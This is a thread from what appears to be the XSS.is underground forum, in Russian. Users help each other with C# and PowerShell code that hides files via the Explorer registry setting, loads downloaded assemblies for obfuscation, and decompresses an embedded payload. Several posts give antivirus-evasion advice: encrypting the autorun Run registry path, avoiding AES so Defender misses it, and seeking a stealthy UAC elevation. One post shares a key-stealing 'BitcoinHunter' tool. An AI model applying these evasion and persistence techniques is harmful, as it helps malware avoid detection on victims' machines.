• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопросы по С#

Пожалуйста, обратите внимание, что пользователь заблокирован
C#:
 string subKey = @"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced";
                            string h = "Hidden";
                            int r = 0;
                            RegistryKey k = Registry.CurrentUser;
                            k = k.CreateSubKey(subKey);
                            k.SetValue(h, r);
Работает только после обновления explorer или ребута пк. Как сделать обновлние сразу после этого?
Простое решение для обновления проводника windows

Нашел. (С)https://ipconfig.ws/threads/129/

Создадим класс NativeMethods.cs

C#:
internal static class NativeMethods
{
   #region For Refresh WinExplorer

    [DllImport("user32")]
    public static extern int PostMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam);

    [DllImport("user32", CharSet = CharSet.Unicode)]
    public static extern IntPtr FindWindow(string className, string caption);

    [DllImport("user32", CharSet = CharSet.Unicode)]
    public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr startChild, string className, string caption);

    #endregion
}

Создадим класс RefreshExp.cs
C#:
public class RefreshExp
{
   public static void Inizialize()
   {
       IntPtr d = NativeMethods.FindWindow("Progman", "Program Manager");
       d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SHELLDLL_DefView", null);
       d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SysListView32", null);
       NativeMethods.PostMessage(d, 0x100, new IntPtr(0x74), IntPtr.Zero);
       NativeMethods.PostMessage(d, 0x101, new IntPtr(0x74), new IntPtr(1 << 31));
   }
}
Теперь достаточно будет вызвать метод RefreshExp.Inizialize();
 
Работает только после обновления explorer или ребута пк. Как сделать обновлние сразу после этого?
C#:
namespace IngiProj
{
    using System;
    using System.Runtime.InteropServices;
    using Microsoft.Win32;

    public static class Ingiborga
    {
        // SetHide("Hidden", 1);
        public static void SetHide(string name, int value)
        {
            const string REG = @"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced";
            try
            {
                using RegistryKey Key = Registry.CurrentUser.OpenSubKey(REG, Environment.Is64BitOperatingSystem);
                // Key?.CreateSubKey(REG);
                Key.SetValue(name, value, RegistryValueKind.DWord);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        public static void RefreshExp()
        {
            IntPtr d = NativeMethods.FindWindow("Progman", "Program Manager");
            d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SHELLDLL_DefView", null);
            d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SysListView32", null);
            NativeMethods.PostMessage(d, 0x100, new IntPtr(0x74), IntPtr.Zero);
            NativeMethods.PostMessage(d, 0x101, new IntPtr(0x74), new IntPtr(1 << 31));
        }
    }

    internal static class NativeMethods
    {
        #region For Refresh WinExplorer

        [DllImport("user32")]
        public static extern int PostMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam);

        [DllImport("user32", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindow(string className, string caption);

        [DllImport("user32", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr startChild, string className, string caption);

        #endregion
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не могу освободить процесс от:
C#:
 WebClient wel = new WebClient();
                byte[] bytes = wel.DownloadData(URL);
                using (asmDef = ModuleDefMD.Load(bytes))
                using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
                {
                    // тут крч обфускация все дела.
                }

// после делаю Dispose
// Но bytes не освобождается...доступа нет. уже бля и за сам метод вынес. че ему над?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
C#:
namespace IngiProj
{
    using System;
    using System.Runtime.InteropServices;
    using Microsoft.Win32;

    public static class Ingiborga
    {
        // SetHide("Hidden", 1);
        public static void SetHide(string name, int value)
        {
            const string REG = @"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced";
            try
            {
                using RegistryKey Key = Registry.CurrentUser.OpenSubKey(REG, Environment.Is64BitOperatingSystem);
                // Key?.CreateSubKey(REG);
                Key.SetValue(name, value, RegistryValueKind.DWord);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        public static void RefreshExp()
        {
            IntPtr d = NativeMethods.FindWindow("Progman", "Program Manager");
            d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SHELLDLL_DefView", null);
            d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SysListView32", null);
            NativeMethods.PostMessage(d, 0x100, new IntPtr(0x74), IntPtr.Zero);
            NativeMethods.PostMessage(d, 0x101, new IntPtr(0x74), new IntPtr(1 << 31));
        }
    }

    internal static class NativeMethods
    {
        #region For Refresh WinExplorer

        [DllImport("user32")]
        public static extern int PostMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam);

        [DllImport("user32", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindow(string className, string caption);

        [DllImport("user32", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr startChild, string className, string caption);

        #endregion
    }
}
Воркает супер, только // SetHide("Hidden", 0); а не 1
ipconfig.ws я так понял твой форум, хороший. много инфы полезной нарыл спс. Но гитхаб скудный у тя чет, давай больше сурсов)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не могу освободить
Чего? Зачем делать Dispose на батовом массиве? Dispose метод есть только у объектов, классы которых реализуют IDisposable, байтовой массив освобождает сборщик мусора. Ты можешь принудительно вызвать сборку мусора с помощью GC.Collect, но это надо делать вне этой функции, тк внутри функции ссылка (референс) на байтовый массив еще существует, и поэтому освобожден он не будет.
 
Не могу освободить процесс от:
C#:
 WebClient wel = new WebClient();
                byte[] bytes = wel.DownloadData(URL);
                using (asmDef = ModuleDefMD.Load(bytes))
                using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
                {
                    // тут крч обфускация все дела.
                }

// после делаю Dispose
// Но bytes не освобождается...доступа нет. уже бля и за сам метод вынес. че ему над?
C#:
 var link = new Uri("Ссылка на файл");
 using var wel = new WebClient();
 byte[] bytes = wel.DownloadData(link);
 ModuleContext modCtx = ModuleDef.CreateModuleContext();
 using var module = ModuleDefMD.Load(bytes, modCtx);
А ещё есть такие вещи как async/await(Tasks) чтобы ожидать..
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Все не как не могу повысить права без палева в рантайме от DF со всеми ласт обновами(
Может кто чем поможет хоть в лс какой то няшный код) обещаю в паблик не улетит.

Скриншот 29-05-2021 215710.jpg
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Чего? Зачем делать Dispose на батовом массиве? Dispose метод есть только у объектов, классы которых реализуют IDisposable, байтовой массив освобождает сборщик мусора. Ты можешь принудительно вызвать сборку мусора с помощью GC.Collect, но это надо делать вне этой функции, тк внутри функции ссылка (референс) на байтовый массив еще существует, и поэтому освобожден он не будет.
Понял, в общем сделал как надо работает, спасибо.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Все не как не могу повысить права без палева в рантайме от DF со всеми ласт обновами(
Может кто чем поможет хоть в лс какой то няшный код) обещаю в паблик не улетит.

Посмотреть вложение 22950
код uac зашифруй и не будет палится в рантайме
 
Пожалуйста, обратите внимание, что пользователь заблокирован
код uac зашифруй и не будет палится в рантайме
это не поможет. Он и так шифрованный. да и вообще это максимум от скантайма поможет, причем тут рантайм.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это не поможет. Он и так шифрованный. да и вообще это максимум от скантайма поможет, причем тут рантайм.
поможет шифровать это не переименовка методов и прочего а шифрование путей и тд аверы палят в основном не название какого то метода а палят пути у авторана палится такой путь
Код:
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
зашифровав этот путь можно убрать детект
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
поможет шифровать это не переименовка методов и прочего а шифрование путей и тд
У меня все пути шифруются и так, как и стринги по ключу. В конце концов они будут расшифрованны и обращение по этим путям спалится в рантайме. так что я снова не вижу смысла.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У меня все пути шифруются и так, как и стринги по ключу. В конце концов они будут расшифрованны и обращение по этим путям спалится в рантайме. так что я снова не вижу смысла.
шифрование AES? если да то этот метод шифрования палит деф
можно проверить если сомневаешься
удали свой aes и просто шифрани путь увидишь результат при правельном методе шифрования рантайм будет чист
 
Пожалуйста, обратите внимание, что пользователь заблокирован
шифрование AES? если да то этот метод шифрования палит деф
можно проверить если сомневаешься
удали свой aes и просто шифрани путь увидишь результат при правельном методе шифрования рантайм будет чист
а ну да, AES, хм... попробую другой. Отпишу. Но то же странно, вить другие функции шифрованные AES не палит. А их у меня там дохрена.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
поможет шифровать это не переименовка методов и прочего а шифрование путей и тд аверы палят в основном не название какого то метода а палят пути у авторана палится такой путь
Код:
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
зашифровав этот путь можно убрать детект
Реестр использую в крайнем случае в исключении если мой метод прописки в автозагрузку крашнулся.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Нашел в логах такое вот.
Но с заподлянкой. отправляет ключи приватные на адрес автора софта. Если изменить адрес в принципе софт работает. Но шансы что что-то поймаешь 10лямов к 1 я удмаю.
Чек балика вроде как через Ninja.dll
p/s я не че не вырезал в том архиве что даю!
qncgH92l.jpg


E7nqZtdh.jpg
 

Вложения

  • BitcoinHunter.zip
    2.4 МБ · Просмотры: 17
Пожалуйста, обратите внимание, что пользователь заблокирован
Есть код
C#:
$nightmare_ms = New-Object System.IO.MemoryStream -ArgumentList @(,$nightmare_data)
    $ms = New-Object System.IO.MemoryStream
    $gzs = New-Object System.IO.Compression.GZipStream -ArgumentList @($nightmare_ms, [System.IO.Compression.CompressionMode]::Decompress)
    $gzs.CopyTo($ms)
    $gzs.Close()
    $nightmare_ms.Close()

Есть ошибка
C#:
[System.IO.Compression.GZipStream] не содержит метод с именем "CopyTo".

Гугл говорит, что нужен 4 фреймворк, однако стоит 4.5. Что не так делаю?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Гугл говорит, что нужен 4 фреймворк, однако стоит 4.5. Что не так делаю?
Ну формально это - Повершелл, а на Шарпы. Могу предположить, что ты запускаешь на Повершелле 2.0 или какой-то другой старой версии, а он работает на 3.5, наверное, или даже на 2.0.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
что ты запускаешь на Повершелле 2.0
Запускаю из powershell ISE
а как можно еще? Неужели в венде стоит несколько версий павершелл?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Запускаю из powershell ISE
а как можно еще?
Ну я не особо шарю именно в Повершелле, там был какой-то параметр у powershell.exe типа "-version", с помощью которого можно было выбирать конкретную версию.

Неужели в венде стоит несколько версий павершелл?
Да, конечно, как и несколько версий Дотнет фреймворка может быть установлено.

Щас загуглил, ты можешь узнать, какая версия Повершелл у тебя исполняется, командой "host". Или через "$PsVersionTable".
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх